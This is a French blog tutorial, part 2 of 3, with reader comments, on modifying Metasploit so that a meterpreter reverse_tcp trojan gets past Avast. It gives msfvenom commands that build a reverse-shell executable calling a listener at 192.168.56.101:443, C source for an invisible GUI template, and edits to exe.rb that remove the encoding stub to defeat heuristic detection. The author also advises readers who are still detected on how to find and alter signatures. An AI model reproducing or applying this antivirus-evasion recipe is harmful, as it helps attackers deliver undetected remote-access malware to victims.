Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 2/3)

Dans l’article précédent, nous avons modifié Metasploit pour être capable de générer des fichiers binaires bruts qui ne soient pas détectés par Avast.

Néanmoins, Metasploit est toujours incapable de générer directement un fichier exécutable qui puisse passer à travers notre antivirus.
Voyons ce qui se passe…

Etudions comme des nul(l)s

On pouvait supposer que Metasploit suive les étapes qui nous ont permis d’avoir une application indétectable lorsqu’on lui demande de générer directement un exécutable.

Malheureusement ce n’est pas le cas car l’application générée à l’aide de la commande suivante ne passe pas notre antivirus :

sudo msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 X > monMeterpreter.exe

Que se passe-t-il donc?

Comparons nos exécutables…

La première chose qui saute aux yeux est la différence de taille des deux fichiers :

  • Notre version indétectable pèse 1024 octets.
  • La version générée par Metasploit 73 802 octets…

Lors d’un parcours rapide des modules de metasploit, j’ai pu remarquer des fichiers « template » ayant une extension « .exe ».

Une recherche rapide nous donne le fichier « /opt/metasploit/msf3/data/templates/template_x86_windows.exe » qui a une taille de… 73 802 octets (tiens tiens…)

Une comparaison de notre exécutable généré par Metasploit et ce fichier nous confirme que ce dernier a servi à générer notre cheval de Troie car ils se ressemblent énormément.

De plus, ce fichier template_x86_windows.exe est détecté par Avast. Oui, Avast a la fâcheuse habitude de détecter les méthodes dont on se sert habituellement pour justement masquer les virus ou autres chevaux de Troie…

Il faut donc utiliser un autre fichier template.

Un nouveau template

Qu’est-ce qu’un template ?

La traduction la plus proche en français serait le mot « patron », comme en couture.

Un template, en informatique, est un fichier qui sert de base pour générer une application, page WEB ou toute autre ressource.

Dans notre cas, il s’agira d’une application qui sera modifiée par Metasploit pour embarquer notre cheval de Troie.

Création d’un template pour notre cheval de Troie

Nous créerons ici une nouvelle application afin de l’utiliser pour encapsuler meterpreter.

Configuration

Téléchargeons un compilateur que nous installerons sous Windows : http://sourceforge.net/projects/mingw/files/

Il faut ensuite ajouter le dossier « C:\MinGW\bin » à notre variable Path.

Création du code source

Ouvrons un éditeur de texte pour créer le fichier main.c contenant le code source d’une application graphique :

#include <windows.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance, 
        HINSTANCE hPrevInstance,
        LPSTR lpCmdLine,
        int nCmdShow)
{
    WNDCLASSEX wcex; 
    wcex.cbSize = sizeof(wcex);
    wcex.style = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc = WndProc;
    wcex.cbClsExtra = 0;
    wcex.cbWndExtra = 0;
    wcex.hInstance = hInstance;
    wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName = NULL;
    wcex.lpszClassName = "isdfl";
    wcex.hIconSm = NULL;
    if (!RegisterClassEx(&wcex))
        return FALSE; 
    HWND hWnd;
    hWnd = CreateWindow("isdfl", "", WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);
    if (!hWnd)
        return FALSE;
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message) 
    {
        case WM_PAINT:
            break;
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

Il est important de créer une application graphique (GUI) car si on utilise une application console, la console DOS restera ouverte durant l’exécution de notre cheval de Troie… Le code ci-dessus initialise simplement une application graphique sans afficher de fenêtre. (Les méthodes « ShowWindow » et « UpdateWindow » ne sont pas appelées)

Compilation

Puis il faut compiler cette source pour créer l’exécutable :

gcc main.c -Wl,--subsystem,windows -o monTemplate.exe

L’option « -Wl,–subsystem,windows » permet de ne pas bloquer le processus qui lance l’exécutable.

Et voilà, un fichier template tout beau tout neuf !

N’hésitez pas à modifier le code source et d’en générer un nouveau si un antivirus venait à détecter votre template.

Msfvenom

Msfpayload est un script assez basique, il existe sa version améliorée « Msfvenom », nous l’utiliserons.

Générons notre exécutable :

sudo msfvenom -p windows/meterpreter/reverse_tcp -f exe -x monTemplate.exe LHOST=192.168.56.101 LPORT=443 > monMeterpreter.exe

« –p windows/meterpreter/reverse_tcp » renseigne le cheval de Troie (payload) à utiliser.

« –f exe » indique le format du fichier créé.

« –x monTemplate.exe » dans le cas d’une création d’exécutable, un template peut être fourni de cette manière, sinon le template par défaut est utilisé.

« LHOST=192.168.56.101 LPORT=443 » sont les propriétés propres au cheval de Troie.

Nous venons de générer une application exactement de la même taille que monTemplate.exe , et bien reconnue comme une application Windows (GUI).

Test avec Avast

Passons maintenant notre nouvelle application à la moulinette Avast…

Dommage ! Avast détecte encore un certain « Win32:WSPatch[Wrm]« . Notons néanmoins qu’à ce stade, notre cheval de Troie passe avec succès la plupart des antivirus. (Symantec entre autres…)

Effectivement, « Win32:WSPatch[Wrm] » n’est ici pas détecté à l’aide de signature, mais grâce à des méthodes heuristiques. Ce type d’antivirus est difficile à contourner.

Contourner Win32:WSPatch

Rappelons-nous, notre code binaire brut n’est pas détecté par Avast qui, dès lors, ne détecte plus que les méthodes que l’on utilise pour le masquer.

Modifions  Metasploit pour ne plus utiliser ces méthodes et utiliser le binaire aussi brut que possible !

Lors de mes recherches, j’ai pu définir que la génération de l’exécutable se passait dans le fichier /opt/metasploit/msf3/lib/msf/util/exe.rb, dans la méthode to_win32pe.

Allons directement aux lignes qui se chargent d’inclure notre cheval de Troie dans l’exécutable :

entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

# Mangle 25% of the original executable
1.upto(block[1] / 4) do
   data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end

# Patch the payload and the new entry point into the .text
data[block[0] + poff, payload.length] = payload
data[block[0] + eidx, entry.length]   = entry

L’instruction assembleur E9 correspond à un saut inconditionnel (JMP). La première ligne permet donc d’appeler notre cheval de Troie (payload). Ce type de saut est peut-être détecté par Avast : remplaçons-le directement par notre cheval de Troie :

entry += payload

On peut également commenter l’avant-dernière ligne, qui se contente d’ajouter le cheval de Troie à nouveau.

Notre exécutable est toujours fonctionnel, néanmoins, Avast détecte encore Win32:WSPatch dont la signature doit certainement être contenue dans notre « payload ».

Remontons à la création de cette fameuse variable payload :

# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)

Il semblerait que pour utiliser les méthodes d’encodage, Metasploit modifie notre code binaire brut ! C’est sans doute cette modification qu’Avast est capable de détecter !

Modifions à nouveau notre code pour utiliser non pas ce « payload », mais bien notre code binaire brut :

entry += code

L’exécutable généré est toujours fonctionnel, mais comme indiqué dans le commentaire, nous ne pouvons plus utiliser les méthodes d’encodage qui feraient planter notre application à l’exécution.

De toute façon, nous n’avons rien à faire de ces méthodes car notre cheval de Troie brut est déjà indétectable ! Nous voici donc en présence d’un bon compromis.

Test ultime sous Avast

Nous passons notre exécutable une énième fois à Avast, qui…

Ne détecte rien !

EDIT : Suite à une demande, je vous poste mon script exe.rb modifié. (C’est un PDF, désolé, wordpress n’accepte pas l’extension rb)

Conclusion

Nous remarquons ici que ce type d’exercice permet de comprendre un peu mieux le fonctionnement des outils que nous utilisons, Metasploit en l’occurence. Effectivement, comme tout bon nul(l), nous accueillons de bon cœur tout nouvel outil ou fonctionnalité qui nous permettra de nous tourner les pouces un peu plus !

Si nous gardons notre fichier monTemplate.exe précieusement, nous n’aurons maintenant plus besoin d’éditer un quelconque code assembleur pour générer un cheval de Troie qui ne soit pas détecté par Avast !

Tout peut se faire en une seule ligne de commandes à l’aide de msfvenom. Je vous invite d’ailleurs à vous pencher sur cet outil, et plus particulièrement sur l’option « -c » qui permet de fusionner plusieurs chevaux de Troie et ainsi, par exemple, demander à meterpreter de se connecter sur plusieurs adresses IP et/ou plusieurs ports.

Il ne nous reste donc plus qu’un problème à régler : la persistance de meterpreter. Effectivement, Avast détecte toujours le fichier « .vbs » qui est déposé par notre cheval de Troie…

Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 1/3)

Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 3/3)

Parce que je n’ai pas la science infuse : sources

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , , , , ,
Publié dans Algorithmie, Cracking, Développement, Informatique, Intrusion, Metasploit, Piratage
9 comments on “Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 2/3)
  1. pr1me dit :

    Hi mystcaster
    When i run « sudo msfvenom -p windows/meterpreter/reverse_tcp -f exe -x monTemplate.exe LHOST=192.168.56.101 LPORT=443 > monMeterpreter.exe » give me bellow error

    /opt/metasploit-4.3.0/msf3/lib/msf/util/exe.rb:143:in `to_win32pe’: undefined method `+’ for nil:NilClass (NoMethodError)
    from /opt/metasploit-4.3.0/msf3/lib/msf/util/exe.rb:1768:in `to_executable_fmt’
    from /opt/metasploit-4.3.0/msf3/msfvenom:399:in `’
    #############################################################
    1.replaced data[block[0] + poff, payload.length] = payload with entry += payload (in exe.rb line 324)
    2.replaced payload = win32_rwx_exec(code) with entry += code (in exe.rb line 142)

    Can you post your modified exe.rb to us ? TKS :D)

  2. pr1me dit :

    mystcaster
    Thank you very much , best regards

  3. Fabien dit :

    Salut, après avoir suivi ton super tuto pas à pas, mon exe est toujours détecté par AVAST!, seraient-ils déjà passé par ici et rendu ta méthode obsolète ?

    • mystcaster dit :

      Bonjour,

      C’est tout à fait possible que des experts sécurité informatique soient déjà passés dans le coin et aient ajouté la signature à Avast.
      Néanmoins, mes articles ne sont pas fais pour « être suivis à la lettre », mais plus pour vous donner les méthodes pour vous adapter à chaque situation.

      Avast détecte toujours ton Meterpreter ? Qu’à cela ne tienne ! Découpe-le à nouveau en petits fragments que tu donnes à manger à ton antivirus afin de détecter la signature et modifier le fichier incriminé avec ndisasm ou tout autre logiciel d’édition.

      Le piratage n’est pas une science exacte, mais plutôt une capacité d’adaptation à chaque situation.

  4. binoj dit :

    Hi,mystcaster
    Can you just change the exe.rb to exe.pdf and re-uploading it again ? Thanks

    • mystcaster dit :

      Bonjour,

      C’est déjà un PDF (comme je l’avais indiqué) wordpress ne me permet de toute façon pas de charger des fichiers *.rb

      • scred dit :

        Slt, un grand merci pour ton tuto!!! Je bloque sur le passage de compilation

        gcc main.c -Wl,–subsystem,windows -o monTemplate.exe
        main.c:1:21: fatal error: windows.h: No such file or directory

        peux tu m’éclairer?

      • mystcaster dit :

        Bonjour,

        Tu compile bien sous Windows en utilisant MinGW ?
        En effet, ce fichier d’entête n’est disponible que sous Windows, il faut donc compiler sous Windows, dans une machine virtuelle ou encore en passant par Wine.

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
septembre 2012
L M M J V S D
« Août   Oct »
 12
3456789
10111213141516
17181920212223
24252627282930
Catégories
Archives
%d blogueurs aiment cette page :